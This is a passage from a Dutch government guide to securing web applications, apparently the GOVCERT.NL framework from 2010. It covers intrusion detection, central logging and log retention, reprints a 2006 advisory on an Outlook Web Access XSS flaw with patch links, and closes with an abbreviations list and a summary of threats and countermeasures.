filter. Om kwalitatief hoogwaardige informatie te kunnen verzamelen en deze effectief te kunnen verwerken, is het belangrijk om ook aandacht te schenken aan de volgende zaken: •

Voorzie signature-based systemen regelmatig van de nieuwste aanvalspatronen.

•

Zorg ervoor dat databases voldoende ruimte bieden om de grote hoeveelheid gegevens die een NIDS produceert, in onder te kunnen onderbrengen.

•

Beslis hoelang logging moet worden opgeslagen en hoe deze moet worden gearchiveerd.

•

Tune de alarmering van het NIDS. Beheerders zullen een NIDS dat continu alarmen uitzendt, niet meer serieus nemen. Onderschat daarbij de hoeveelheid mankracht die nodig is voor het monitoren en onderzoeken van anomalieën en false positives niet. Het kan een zeer intensieve klus blijken te zijn om de filters van het IDS optimaal in te richten.

•

Regel een goede beheerprocedure in voor het NIDS. Leg bijvoorbeeld vast wie regelmatig (bijvoorbeeld elke ochtend) de logging van het NIDS bekijkt. Daarnaast is het, ter verbetering van de leesbaarheid van de logging, aan te raden filters op

Titel

Datum


4-11-2010

Pagina

164

de logging te plaatsen. VOORBEELD Een bijzonder host-based IDS in het kader van webapplicatiebeveiliging is PHPIDS. PHPIDS kun je als toevoeging installeren op een PHP-website om op die manier allerlei aanvallen op applicatieniveau (zoals XSS en SQL-injectie) te detecteren. Meer informatie is terug te vinden op de website van PHPIDS: http://phpids.org/

11.2.2. Breng logging op één punt samen In de praktijk blijkt een organisatie er vaak niet aan te kunnen ontkomen om verschillende loggingmechanismen naast elkaar te gebruiken. Zo ondersteunt het ene systeem alleen logging op basis van SYSLOG, maakt een ander systeem alleen lokaal logbestanden aan en stelt weer een ander systeem alleen informatie beschikbaar via SNMP. Al deze verschillende loggingmechanismen zorgen ervoor dat logging versnipperd raakt en een organisatie het overzicht over alle gebeurtenissen gemakkelijk kwijtraakt. Om aanvallen efficiënt te kunnen detecteren is het van belang deze logging op één centraal punt weer bijeen te brengen. Hoewel een organisatie er in de praktijk niet aan ontkomt om verschillende loggingmechanismen in te zetten, is het altijd aan te raden om de diversiteit in loggingmechanismen zoveel mogelijk te beperken. Door de logging op een centraal punt bijeen te brengen en filtering toe te passen op deze logging ontstaat een heldere blik op alle informatie vanuit de verschillende componenten uit de infrastructuur. Dit kan uiteindelijk resulteren in een situatie zoals weergegeven in figuur 11-2.

Figuur 11-2: inrichting centrale logging

Titel

Datum


4-11-2010

Pagina

165

In een centrale loggingdatabase komt de loginformatie uit verschillende onderdelen van het RBW samen. Denk hierbij aan de volgende typen informatie: •

•

• • • •

Logging op het niveau van netwerkbeveiliging: bijvoorbeeld logging van geweigerde netwerkverbindingen (mogelijk poortscans) door een firewall, gedetecteerde aanvallen door een intrusion detection systeem, statistieken van een honeypot, etcetera. Logging op het niveau van platformbeveiliging: logging van ongeautoriseerde bestandstoegang, potentieel gevaarlijke configuratiewijzigingen, toevoeging van nieuwe gebruikersaccounts, etcetera. Logging op het niveau van applicatiebeveiliging: logging van uitgefilterde HTTPheaders, geblokkeerde URL’s, geblokkeerd lekken van informatie, etcetera. Logging op het niveau van identiteitbeheer: logging van foutieve inlogpogingen op de webapplicatie, accounts die ‘locked-out’ raken, sessiemisbruik, etcetera. Logging op het niveau van autorisatiebeheer: logging van autorisatiemisbruik, uitgedeelde autorisaties (met mogelijk uitgebreide rechten), etcetera. Logging op het niveau van vertrouwelijkheid en onweerlegbaarheid: logging van onweerlegbare transacties, foutieve handtekeningen, etcetera.

OPMERKING Dit document schaart monitoringgegevens ook onder de noemer logging. Het verzamelen van informatie via SNMP zullen sommige organisaties bijvoorbeeld meer zien als monitoringgegevens dan logginggegevens. Beide typen informatie geven echter informatie over de status c.q. gezondheid van een systeem: monitoringgegevens over het beveiligingsniveau op een specifiek tijdstip, logging over acties die het beveiligingsniveau kunnen aantasten. De centraal opgeslagen informatie kan zeer interessant zijn voor kwaadwillenden aangezien ze 1) veel kunnen leren over de opbouw van de infrastructuur en 2) ze via deze centrale plek eventuele sporen van misbruik kunnen wissen. Daarom is het van belang veel aandacht te besteden aan de beveiliging van deze centrale database, zodat onbevoegden hiertoe geen toegang hebben en hierin geen wijzigingen kunnen aanbrengen. Een andere mogelijke maatregel in dit kader kan ook zijn om logbestanden digitaal te ondertekenen. OPMERKING SNMP kan slechts in beperkte mate beveiligd worden. Daarnaast kan het via SNMP mogelijk zijn om configuratiewijzigingen op een component door te voeren. Dit laatste verhoogt de noodzaak tot het afschermen van SNMP aanzienlijk. Denk hierbij aan het kiezen van een goede SNMP-communitystring en het blokkeren van toegang tot SNMP-diensten op netwerkniveau

Titel

Datum


4-11-2010

Pagina

166

11.2.3. Breng correlaties aan Nadat alle logginginformatie over webapplicaties bijeen gebracht is (§11.2.2), bestaat de volgende stap uit het aanbrengen van correlaties tussen de verschillende gebeurtenissen. De uitdaging hierbij is om alle gebeurtenissen op de verschillende niveaus aan elkaar te correleren en aan een specifieke webapplicatie te koppelen. Op deze manier kun je het pad dat een kwaadwillende heeft doorlopen, achterhalen en tevens inzicht krijgen in de aanvallen die gedurende een bepaalde periode op een webapplicatie zijn uitgevoerd. Figuur 11-3 geeft een voorbeeld van afhankelijkheden die kunnen bestaan tussen een applicatie en de aanwezige componenten (gestippelde blauwe lijn) en de afhankelijkheden (ononderbroken rode lijnen) tussen componenten onderling. Het in kaart brengen van deze afhankelijkheden kan helpen om gebeurtenissen op componenten aan elkaar te correleren.

Figuur 11-3: monitoringafhankelijkheden

Het leggen van correlaties blijkt in de praktijk geen eenvoudige klus en kan een organisatie alleen bereiken door alle competenties rondom webapplicaties bijeen te brengen en betrokken teams goed samen te laten werken. Een goed ingerichte Configuration Management Database (CMDB) waarin componenten en de

Titel

Datum


4-11-2010

Pagina

167

afhankelijkheden daartussen zijn gedefinieerd, kan het leggen van correlaties voor een belangrijk gedeelte vereenvoudigen.

11.2.4. Richt NTP correct in Om gebeurtenissen uit verschillende componenten te correleren gebruik je de timestamps van deze gebeurtenissen. Deze timestamps zijn afhankelijk van de juiste instelling van de tijd op de betreffende componenten. Met behulp van het Network Time Protocol (NTP) kan worden bereikt dat de tijd op alle servers en andere componenten overeen komt. Tegenwoordig ondersteunen alle besturingssystemen het gebruik van NTP.

11.2.5. Audit de uitgedeelde autorisaties regelmatig Autorisaties zijn aan veranderingen onderhevig. Medewerkers komen en gaan en hetzelfde geldt voor klanten. Hierdoor zullen de autorisaties op webapplicaties continu wijzigen. Niet alleen moet men nieuwe autorisaties uitdelen, ook bestaande autorisaties zal men wellicht moeten verwijderen of inperken. Daarom is het van belang dat iemand verantwoordelijk wordt gemaakt om regelmatig de toegewezen autorisaties onder de loep te nemen. Dit kan op basis van een overzicht van alle autorisaties voor de webapplicatie. De applicatieverantwoordelijke zal vervolgens moeten bekijken of er autorisaties bestaan die niet meer nodig zijn of die gewijzigd moeten worden. Belangrijk is wel dat het overzicht te behappen is voor een applicatieverantwoordelijke. Wanneer het autorisatieoverzicht bijvoorbeeld 100 pagina’s omvat, zal de applicatieverantwoordelijke door de bomen het bos niet meer zien en geen serieuze aandacht meer (kunnen) besteden aan dit overzicht. Een mogelijk alternatief is in dit geval om alleen alle wijzigingen sinds de laatste controle in het overzicht op te nemen.

11.2.6. Bepaal wat te doen bij het uitvallen van loggingmechanismen Het gebruik van centrale loggingmechanismen brengt een belangrijk vraagstuk met zich mee: wat doen we op het moment dat dit centrale loggingmechanisme uitvalt? Op het moment dat een component zijn logging niet meer kwijt kan, bestaat de kans dat deze logging verloren gaat. Dit zou kunnen betekenen dat componenten aanvallen van kwaadwillenden niet meer registreren, of dat transacties niet meer onweerlegbaar zijn. Bepaal daarom op voorhand welke actie een component moet nemen op het moment dat het centrale loggingmechanisme niet meer beschikbaar is. Er bestaan op dit gebied grofweg de volgende mogelijke acties:

Titel

Datum


4-11-2010

Pagina

168

•

De component normaal laten functioneren terwijl deze de logging niet kan opslaan. Dit betekent dat logging verloren gaat.

•

De component normaal laten functioneren en de logging lokaal laten opslaan. Veel componenten beschikken over een lokaal mechanisme om logging tijdelijk op te slaan. Op het moment dat het centrale loggingmechanisme weer beschikbaar komt, sluist de component de verzamelde logging alsnog door. Dit voorkomt dat de component niet meer beschikbaar is en voorkomt tevens dat logging verloren gaat. Dit is echter wel een tijdelijke oplossing. Op het moment dat de lokale opslag vol loopt, moet opnieuw besloten worden wat de component hierna doet (blijven functioneren – zie bovenstaande optie – of stoppen met functioneren – zie volgende optie).

•

De component acuut laten stoppen met functioneren. Dit betekent dat gebruikers hoogst waarschijnlijk niet meer kunnen doorwerken. Dit voorkomt wel dat aanvallen op de component onopgemerkt blijven doordat de component ze niet meer logt.

Vanuit het oogpunt van beveiliging en beschikbaarheid heeft het de voorkeur om – zodra het centrale loggingmechanisme uitvalt - componenten eerst lokaal gebeurtenissen te laten opslaan om vervolgens de component te laten stoppen met functioneren zodra deze opslag vol is. Bij de selectie van een nieuw beveiligingscomponent is het daarom zaak goed te evalueren of deze voldoet aan de eisen op het gebied van logging en tijdelijke opslag van logging.

11.2.7. Stel bewaartermijnen van logging vast Intensieve logging voor een webapplicatie kan leiden tot vele megabytes tot gigabytes aan logging per dag. De organisatie zal moeten bepalen hoe lang deze logging online en offline beschikbaar moet en mag zijn. Online beschikbaarheid van logging kan essentieel zijn voor het efficiënt verhelpen van beveiligingsincidenten. De duur van offline beschikbaarheid kan beperkt worden door weten regelgeving (zie bijvoorbeeld ook de tekst bij ‘Achtergrond’). Voordat een organisatie besluit om gebeurtenissen in een omgeving te loggen, is het daarom van belang dat je bepaalt hoe lang en op welke manier logging beschikbaar moet blijven. Een beslissing op dit gebied bepaalt vervolgens welke media nodig zijn en hoeveel capaciteit je voor de logging moet reserveren.

Titel

Datum


4-11-2010

Pagina

169

ACHTERGROND Bij het vaststellen van bewaartermijnen van logging moet je ook rekening houden met privacywetgeving. Vrijwel elk beveiligingscomponent zal in zijn logging IP-adressen opnemen. Een IP-adres moet volgens de wet in veel gevallen beschouwd worden als een persoonsgegeven en ook als zodanig worden behandeld (privacy wetgeving). Dit is een belangrijk gegeven om in het achterhoofd te houden bij het vaststellen van de bewaartermijnen van (en omgang met) logging. Zie voor meer informatie het artikel “Een IP-adres is niet altijd een persoonsgegeven” op http://www.cbpweb.nl/documenten/uit_z2000-0340.stm

11.2.8. Voer actief controles uit op logging Het is belangrijk dat een organisatie actief controles uitvoert op de verzamelde logging. Alleen op die manier kan een organisatie misbruik van de omgeving en inbraakpogingen detecteren. Er moeten daarom procedures worden opgesteld waarin staat beschreven hoe en wanneer controles op logging moeten plaatsvinden en hoe taken op dit gebied belegd zijn. De verantwoordelijke moet in zijn taak ondersteund worden door een deugdelijke filtering op de logging. Alleen bij een deugdelijke filtering is het mogelijk om aanvallen te detecteren uit de grote hoeveelheid logging die verschillende componenten op een dag zullen genereren. Filtering van de logging zal dynamisch zijn; door het filter continu aan te passen ontstaat een behapbaar en bruikbaar overzicht van gebeurtenissen die zich in de omgeving hebben voorgedaan.

11.2.9. Coördineer en bevorder samenwerking Doordat bij het samenbrengen van logging verschillende disciplines bijeenkomen, kan het handig zijn om in bepaalde gevallen deze disciplines met elkaar in contact te brengen. Het kan soms bij een aanval nodig zijn om op verschillende beveiligingslagen informatie over die aanval terug te zoeken. Ook bij onduidelijkheden rondom gebeurtenissen is het handig dat verschillende disciplines elkaar snel weten te vinden, om op die manier problemen te verhelpen. Hoe een organisatie een dergelijke samenwerking kan bevorderen, is zeer afhankelijk van de organisatiestructuur. In kleinere organisaties vindt samenwerking wellicht al informeel plaats, in grotere organisaties kun je bijvoorbeeld gebruik maken van virtuele teams.

Titel

Datum


4-11-2010

Pagina

170

A. Beveiligingsadvies GOVCERT.NL-2006-133 ################################################################# ##

G O V C E R T . N L ~ B E V E I L I G I N G S A D V I E S

##

################################################################# Titel

:

Outlook Web Access (OWA) kwetsbaar voor script-injectie

Advisory ID

:

GOVCERT.NL-2006-133

Versie

:

1.0

Risico

:

medium

CVE ID

:

CVE-2006-1193 (http://cve.mitre.org/cve/)

Schade

:

high Mogelijkheid tot cross-site scripting Omzeilen van restricties

Auteur

:

Uitgiftedatum

:

20060613

Toepassing

:

Microsoft Exchange

Versie(s)

:

Exchange Server 2000 Post-SP3 Exchange Server 2003 SP1 Exchange Server 2003 SP2

Platform(s)

:

Microsoft Windows 2000 Microsoft Windows Server 2003

Beschikbaarheid:

https://kennisbank.govcert.nl/

Samenvatting Er bevindt zich een kwetsbaarheid in Outlook Web Access (OWA), een onderdeel van Microsoft Exchange. Via deze kwetsbaarheid kunnen ongeautoriseerd scripts worden uitgevoerd via de browser van de gebruiker. Microsoft heeft updates voor Microsoft Exchange 2000 en 2003 uitgebracht die deze kwetsbaarheid verhelpen. Gevolgen De kwetsbaarheid kan ertoe leiden dat ongeautoriseerd scripts op het systeem van een gebruiker worden uitgevoerd zodra de gebruiker een speciaal opgemaakte e-mail opent via OWA. Op deze manier kan de kwaadwillende bijvoorbeeld de cookies van de gebruiker achterhalen en op deze manier mogelijk toegang krijgen tot de e-mail van de gebruiker (session hijacking). Beschrijving Er bevindt zich een kwetsbaarheid in Outlook Web Access (OWA), een onderdeel van Microsoft Exchange. Wanneer een gebruiker een

Titel

Datum


4-11-2010

Pagina

171

speciaal opgemaakte e-mail via OWA opent kan het gebeuren dat ongeautoriseerd scripts worden uitgevoerd via de browser van de gebruiker. Dit wordt veroorzaakt door het feit dat Microsoft Exchange sommige mails met daarin scripts onjuist interpreteert. Volgens de ontdekker kan deze kwetsbaarheid worden misbruikt via verschillende browsers. Dit betekent dat niet alleen gebruikers die via Internet Explorer met OWA verbinden risico lopen maar ook gebruikers van Mozilla Firefox, Opera, etc... Let op: de ontdekker van deze kwetsbaarheid heeft aangegeven details omtrent deze kwetsbaarheid, en exploitcode voor het misbruiken hiervan, twee weken na het verschijnen van deze beveiligingsupdate te gaan publiceren. Dit betekent dat de kans groot is dat deze kwetsbaarheid na 27 juni 2006 actief zal worden misbruikt. Mogelijke oplossingen Microsoft heeft een beveiligingsupdate uitgebracht die deze kwetsbaarheid verhelpt. Deze kunt u installeren door gebruik te maken van Windows Server Update Services (WSUS). Daarnaast kan men de updates ook handmatig installeren vanaf de volgende lokaties: - Microsoft Exchange Server 2000 Post-SP3: http://www.microsoft.com/downloads/details.aspx? FamilyId=746CE64E-3186-422B-A13B-004E7942189B - Microsoft Exchange Server 2003 SP1: http://www.microsoft.com/downloads/details.aspx? FamilyId=0E192781-847F-41C1-B32A-84218DB60942 - Microsoft Exchange Server 2003 SP2: http://www.microsoft.com/downloads/details.aspx? FamilyId=C777BC9F-52B7-4F17-96C7-DAF3B9987D70 Meer informatie over de kwetsbaarheid, de installatie van de updates en eventuele workarounds vindt u op: http://www.microsoft.com/technet/security/Bulletin/MS06-029.mspx Let op: deze beveiligingsupdate bevat ook een wijziging in e-mailfunctionaliteit zoals eerder beschreven in GOVCERT.NL-2006-110. Dit kan gevolgen hebben voor de werking van e-mailfunctionaliteit (zoals bijvoorbeeld het versturen van e-mail

Titel

Datum


4-11-2010

Pagina

172

via een Blackberry handheld). Zie voor meer informatie hierover GOVCERT.NL beveiligingsadvies GOVCERT.NL-2006-110 en de Microsoft Knowledge Base artikelen KB912442 en KB912918. Hyperlinks http://support.microsoft.com/kb/912442 http://support.microsoft.com/kb/912918 http://www.sec-consult.com/268.html

Titel

Datum


4-11-2010

Pagina

173

B. Afkortingen

Afkorting

Omschrijving

ACL

Access Control List

AD

Active Directory

Ajax

Asynchronous JavaScript and XML

API

Application Programming Interface

APIDS

Application-based Intrusion Detection System

BGP

Border Gateway Protocol

BREIN

Bescherming Rechten Entertainment Industrie Nederland

BSN

Burgerservicenummer

CDP

Cisco Discovery Protocol

CMDB

Configuration Management Database

CMS

Content Management System

CPU

Central Processing Unit

CSRF

Cross-Site Request Forgery

CSS

Cascading Style Sheet

DAC

Discretionary Access Control

DBA

Database Administrator

(D)DoS

(Distributed) Denial-of-Service

DMZ

Demilitarised Zone

DN

Distinguished Name

DNS

Domain Name Services

DNSSEC

DNS Security Extensions

DOM

Document Object Model

DRP

Disaster Recovery Plan

EPFW

End-Point Firewall

ESAPI

Enterprise Security Application Programming Interface

FTP

File Transfer Protocol

GIAC

Global Information Assurance Certification

GID

Group Identifier

GOVCERT.NL

Government Computer Emergency Response Team Nederland

GPO

Group Policy Object

GSLB

Global Server Load Balancing

HIDS

Host-based Intrusion Detection System

HTML

Hypertext Markup Language

HTTP(S)

Hypertext Transfer Protocol (Secure)

I&AM

Identity and Access Management

IANA

Internet Assigned Numbers Authority

IDS

Intrusion Detection System

IIS

Internet Information Services/Server

Titel

Datum


4-11-2010

Pagina

174

Afkorting

Omschrijving

IM

Instant Messaging

IP

Internet Protocol

IPS

Intrusion Prevention System

ISAPI

Internet Server Application Program Interface

ISP

Internet Service Provider

ISS

Internet Security Systems

ISSA

Information Systems Security Association

JSON

JavaScript Object Notation

LAN

Local Area Network

LDAP

Lightweight Directory Access Protocol

LSLB

Local Server Load Balancing

MAC

Mandatory Access Control Media Access Control

MTU

Maximum Transmission Unit

NAT

Network Address Translation

NetBIOS

Network Basic Input Output System

NetBT

NetBIOS over TCP/IP

NIDS

Network-based Intrusion Detection System

NTP

Network Time Protocol

OASIS

Organization for the Advancement of Structured Information Standards

OS

Operating System

OSI

Open System Interconnection

OSPF

Open Shortest Path First

OWA

Outlook Web Access

OWASP

Open Web Application Security Project

PFW

Perimeter Firewall

PHP

PHP: Hypertext Preprocessor

PKI

Public Key Infrastructure

PL/SQL

Procedural Language/Structured Query Language

RBW

Raamwerk Beveiliging Webapplicaties

RDP

Remote Desktop Protocol

REST

Representational State Transfer

RFC

Request For Comments

RFI

Remote File Inclusion

RP

Reverse Proxy

RSS

Really Simple Syndication (RSS 2.0) Rich Site Summary (RSS 0.91 en RSS 1.0) RDF Site Summary (RSS 0.9 en 1.0)

SaBeWa

Samenwerking Belastingen en Waardebepaling

SAML

Security Assertion Markup Language

Titel

Datum


4-11-2010

Pagina

175

Afkorting

Omschrijving

SANS

SysAdmin, Audit, Network, Security

SCP

Secure Copy

SIRT

Security Incident Response Team

SMTP

Simple Mail Transfer Protocol

SN

Serial Number

SNMP

Simple Network Management Protocol

SPOF

Single Point-of-Failure

SQL

Structured Query Language

SSH

Secure Shell

SSL

Secure Sockets Layer

SSO

Single Sign-On / Single Sign-Out

STP

Spanning Tree Protocol

TCP

Transport Control Protocol

TFTP

Trivial File Transfer Protocol

TLS

Transport Layer Security

TTL

Time-To-Live

UDP

User Datagram Protocol

UID

User Identifier

URL

Uniform Resource Locator

uRPF

Unicast Reverse-Path-Forwarding

VLAN

Virtual LAN

VPN

Virtual Private Network

WAF

Web Application Firewall

WAS

Web Application Scanner

WASC

Web Application Security Consortium

WebDAV

Web-based Distributed Authoring and Versioning

WEH

Wet Elektronische Handtekeningen

WSDL

Web Service Description Language

WSUS

Windows Server Update Services

XML

eXtensible Markup Language

XSRF

Zie CSRF

XSS

Cross-Site Scripting

Titel

Datum


4-11-2010

Pagina

176

C. Hoofdpunten beveiliging Deze bijlage geeft een overzicht van de kwetsbaarheden, dreigingen (in rood) en maatregelen (in groen) die in dit document aan bod komen. Netwerkbeveiliging 3.2.1

Distributed Denial-of-Service – onbereikbaar maken van de webapplicatie via flooding, SYN-aanval, Smurf-aanval, etcetera.

3.2.2

Server hopping – toegang tot servers in het netwerk door via een gecompromitteerde machine andere machines in het netwerk te benaderen.

3.2.3

Kwetsbare DNS – misbruik van DNS-services voor DoS-aanvallen en cache poisoning (t.b.v. bijvoorbeeld phishing).

3.2.4

Kwetsbare firewall – firewall als kwetsbaar element vanwege de essentiële rol die de firewall in een netwerk vervult.

3.3.1

Besteed veel aandacht aan het DMZ-ontwerp – de DMZ is vaak de scheiding tussen internet en het interne netwerk. Aandacht voor het ontwerp hiervan is essentieel.

3.3.2

Pas compartimentering toe – plaats applicaties en toepassingen van een gelijk beveiligingsniveau in één compartiment. Belangrijke aandachtspunten: • Voorkom te allen tijde een ongefilterde verbinding naar de back office. • Beperk uitgaand verkeer vanaf de webserver tot een absoluut minimum.

3.3.3

Leg routepaden vast – vaste routepaden door de compartimenten voorkomen het omzeilen van verplichte beveiligingsmaatregelen.

3.3.4

Bepaal toegang tot de webapplicaties vanuit het interne netwerk – zorg ervoor dat gebruikers binnen de organisaties dezelfde beveiligingsmaatregelen krijgen voorgeschoteld als gebruikers van buiten de organisatie.

3.3.5

Scheid beheer- en productieverkeer – voorkom dat beheervoorzieningen (per ongeluk) te benaderen zijn vanaf het internet.

3.3.6

Voer een dual-vendor concept in – toepassing van firewalls van verschillende merken beperkt de impact van een kwetsbaarheid in een dergelijk product.

3.3.7

Behoud overzicht – documenteer de rulebase van de firewall om fouten in de rulebase te voorkomen en pas wijzigingen tot via een change management proces.

3.3.8

Breng fysieke scheiding aan – een fysieke scheiding van netwerkonderdelen voorkomt het omzeilen van ineffectieve logische scheidingen.

3.3.9

Implementeer maatregelen tegen (D)DoS – voorkom een DDoS-aanval door hardening, firewalls en afspraken met providers.

3.3.10

Harden de (externe) DNS-infrastructuur – voorkom DNS-misbruik door het hardenen van de DNS infrastructuur

Titel

Datum


4-11-2010

Pagina

177

3.3.11

Harden ook de rest van infrastructuur – schakel ongebruikte protocollen en services uit, sta beheer slechts beperkt toe, maak gebruik van veilige beheermechanismen, harden het OS van infrastructuurcomponenten.

3.3.12

Besteed aandacht aan beschikbaarheidvraagstukken – voorkom uitval van de omgeving door de introductie van load balancing technieken en redundantie.

Platformbeveiliging 4.2.1

Kwetsbaarheden in het besturingssysteem – voor veel kwetsbaarheden in besturingssysteem komt vaak snel exploitcode beschikbaar.

4.2.2

Onveilig ingerichte beheermechanismen – de informatie die via onversleutelde beheermechanismen zoals FTP en HTTP wordt uitgewisseld, is te onderscheppen.

4.2.3

Onjuiste autorisaties – het gebruik van service accounts met uitgebreide rechten verhoogt de schade bij succesvol misbruik van kwetsbaarheden.

4.2.4

Onnodige services – elke service die een systeem biedt, heeft mogelijk kwetsbaarheden.

4.3.1

Test hardeningsmaatregelen eerst – probeer hardeningsmaatregelen eerst uit in een test- of acceptatieomgeving om de impact van de maatregelen op programmatuur vast te stellen.

4.3.2

Richt een solide updatemechanisme – maak gebruik van beschikbare updatemechanismen en richt een patch management proces in.

4.3.3

Verwijder onnodige services – maak onnodige services onbereikbaar door ze te verwijderen of uit te schakelen.

4.3.4

Richt access control strikt in – beperk rechten van service accounts zodat de schade bij misbruik zo beperkt mogelijk is.

4.3.5

Harden de implementatie van essentiële protocollen – harden essentiële protocollen voor webapplicaties zoals TCP, IP en HTTP.

4.3.6

Maak gebruik van jailing – isoleer processen waardoor de schade bij misbruik zo beperkt mogelijk is.

4.3.7

Hanteer strikte OS-authenticatie(mechanismen) – beperk de mogelijkheden om toegang te krijgen tot het systeem.

4.3.8

Maak gebruik van veilige beheermechanismen – maak gebruik van bijvoorbeeld SSH i.p.v. Telnet.

4.3.9

Maak back-ups – zorg voor back-ups als laatste redmiddel wanneer de integriteit of beschikbaarheid van een webapplicatie is aangetast.

4.3.10

Maak gebuik van lokale firewalls – maak gebruik van het voordeel dat lokale firewalls bieden, nl. het kunnen uitvoeren van controles op procesniveau.

4.3.11

Audit de wijzigingen op het systeem – zorg ervoor dat wijzigingen op OS-niveau geaudit worden zodat eventuele problemen of compromittering zichtbaar worden.

Titel

Datum


4-11-2010

Pagina

178

4.3.12

Maak gebruik van beveiligingstemplates - leg standaarden vast op basis waarvan systemen veilig worden ingericht.

Applicatiebeveiliging 5.2.1

SQL-injectie – mogelijkheid tot het manipuleren van toegang tot de database waardoor informatie onbedoeld kan worden ontsloten, gewijzigd of toegevoegd. Daarnaast vormt de uitgebreide functionaliteit van hedendaagse databases een gevaar.

5.2.2

Cross-Site Scripting (XSS) – reflected XSS, stored XSS en DOM-based XSS als vehikel voor het uitvoeren van aanvallen op gebruikers van een webapplicatie.

5.2.3

Cross-Site Request Forgery (CSRF) – door onvoldoende autorisatiecontroles op een transactie kan een kwaadwillende een gebruiker willekeurige acties laten uitvoeren bij het bezoeken van een malafide website.

5.2.4

Lekken van informatie – foutmeldingen, header-informatie en commentaarregels kunnen waardevolle (technische) informatie aanleveren over de webapplicatie.

5.2.5

HTTP Response Splitting – het injecteren van een extra HTTP-response via een onvoldoende gevalideerde HTTP-header kan leiden tot caching problemen en XSSaanvallen.

5.2.6

Remote File Inclusion (RFI) – het laten uitvoeren van een malafide script op de webserver, voornamelijk een probleem onder PHP.

5.2.7

Path Traversal – mogelijk probleem in zowel de webserver als de webapplicatie waarbij de mogelijkheid bestaat om bestanden buiten de webroot te benaderen.

5.2.8

Command-injectie – injecteren van malafide OS-commando’s op het moment dat de applicatie een commando aanroept zonder voldoende validatie van gebruikersinvoer.

5.2.9

Buffer overflows – buffer overflows in webapplicaties zijn niet eenvoudig te ontdekken maar kunnen wel ernstige gevolgen hebben.

5.2.10

Fouten in de applicatie logica – niet-technische fouten kunnen ook leiden tot beveiligingsproblemen.

5.2.11

Configuratiefouten – zaken als standaard gebruikersnamen en wachtwoorden, het ontbreken van patches en ingeschakelde debugging opties kunnen leiden tot problemen.

5.3.1

Geen invoervalidatie – onvoldoende controle van gebruikersinvoer kan leiden tot diverse problemen (zoals XSS en SQL-injectie).

5.3.2

Geen uitvoervalidatie – een webapplicatie kan door onvoldoende validatie soms ongewenste uitvoer produceren, bijvoorbeeld in het geval van XSS.

5.3.3

Ineffectieve filters – filters zijn niet in alle gevallen effectief waardoor aanvallen, ondanks deze filters, nog steeds mogelijk zijn.

5.3.4

Onveilige opslag van informatie – het niet versleuteld opslaan van informatie kan

Titel

Datum


4-11-2010

Pagina

179

ertoe leiden dat kwaadwillenden deze informatie in handen krijgen. 5.3.5

Kwetsbare aangekochte applicaties – ook aangekochte (web)applicaties kunnen kwetsbaarheden bevatten.

5.3.6

Gebruik van voorbeeldscripts van internet – voorbeeldscripts op internet bevatten vaak kwetsbaarheden. Gebruik hiervan is dan ook gevaarlijk.

5.3.7

Onvoldoende hardening en patching

6.2.1

Zorg voor een veilige afhandeling van data – valideer URL’s, queryparameters, form parameters, cookies, headers, XML documenten en bestanden. Maak bij voorkeur gebruik van whitelisting i.p.v. blacklisting. Als laatste maatregel is het aan te raden gevaarlijke karakters te ‘escapen’.

6.2.2

Valideer de initiator van het verzoek – maak gebruik van dynamische tokens, koppel cookies aan IP-adressen en controleer de inhoud van de Referer HTTPheader om CSRF-aanvallen te voorkomen.

6.2.3

Normaliseer data – zorg dat data genormaliseerd is voor validatie.

6.2.4

Codeer dynamische inhoud – codeer gevaarlijke karakters in de uitvoer om zodoende XSS-aanvallen te blokkeren.

6.2.5

Maak gebruik van geparameteriseerde queries – geparameteriseerde queries vormen het belangrijkste wapen tegen SQL-injectie. Maak daarom gebruik van dit soort queries i.p.v. queries op basis van dynamische strings.

6.2.6

Zorg ook voor veilige databaseprogramma’s – zorg dat code die in de database wordt uitgevoerd (bijvoorbeeld PL/SQL en T-SQL) ook veilig geprogrammeerd is.

6.2.7

Vertrouw alleen op server-side validatie – vertrouw nooit de client. De webapplicatie mag altijd alleen op server-side validatie vertrouwen.

6.2.8

Maak gebruik van beschikbare beveiligingstechnologieën – maak gebruik van technologieën die een programmeertaal standaard biedt.

6.2.9

Sta geen dynamische file includes toe

6.3.1

Maak gebruik van accounts met beperkte privileges – zorg voor accounts met beperkte rechten voor verbindingen richting databases, LDAP-stores en het OS.

6.3.2

Voorkom het lekken van informatie – pas een ‘need-to-know’ principe toe op de technische informatie die de webapplicatie toont.

6.3.3

Sta alleen benodigde HTTP-methoden toe – meestal heeft een webapplicatie alleen de methoden GET en POST nodig en kunnen de andere methoden worden geblokkeerd.

6.3.4

Schakel ‘directory listings’ uit

6.3.5

Overweeg de invoering van een Web Application Firewall (WAF) – een WAF kan een hoop taken op het gebied van invoeren uitvoervalidatie uitvoeren en de beveiliging van een webapplicatie verbeteren (zie hoofdstuk 7).

6.4.1

Richt een solide updatemechanisme in – zorg ervoor dat ook op applicatieniveau de benodigde patches worden geïnstalleerd.

Titel

Datum


4-11-2010

Pagina

180

6.4.2

Voer een (geautomatiseerde) code review uit – een statische analyse kan inzicht geven in gevaarlijke programmacode.

6.4.3

Voer een geautomatiseerde blackbox scan uit – naast de whitebox scan (code review) is het ook verstandig om de webapplicatie te testen op de aanwezigheid van diverse kwetsbaarheden via een Web Application Scanner.

6.5.1

Besef dat aanvallers zwakke plekken zullen ontdekken – security through obscurity is geen beveiliging.

6.5.2

Pas alle maatregelen op alle applicaties toe – en voer alle maatregelen consequent door de hele applicatie door.

6.5.3

Leid ontwikkelaars op in veilig programmeren – zorg ervoor dat ontwikkelaars beseffen dat beveiliging een essentieel onderdeel uitmaakt van programmeren.

Identiteit- en toegangsbeheer 8.2.1

Foutieve implementatie van authenticatie en sessiemanagement – hijacking van sessie management vormt een belangrijk probleem in veel webapplicaties.

8.2.2

Foutieve implementatie van toegangsbeheer - onvoldoende controles op de acties die de gebruiker wil uitvoeren.

8.2.3

Ongeautoriseerde directe objectreferenties – de mogelijkheid dat gebruikers door het aanpassen van object referenties (bijvoorbeeld een id in de URL) toegang krijgen tot de gegevens van andere gebruikers.

8.2.4

Onveilige authenticatiemechanismen

8.2.5

Discrepantie tussen authenticatiemechanisme en beveiligingsbeleid – te zware of te lichte authenticatie bij een webapplicatie.

8.2.6

Het wiel opnieuw uitvinden – het steeds opnieuw zelf ‘uitvinden’ van authenticatieen autorisatiemechanismen leidt tot het introduceren van kwetsbaarheden.

8.2.7

Incompatibele authenticatiemechanismen – het niet kunnen integreren van verschillende authenticatiemechanismen kan leiden tot problemen op het gebied van Single Sign-On (SSO).

8.3.1

Bepaal de plaats van identiteiten toegangsbeheer – bepaal welke componenten identiteitbeheer en toegangsbeheer uitvoeren.

8.3.2

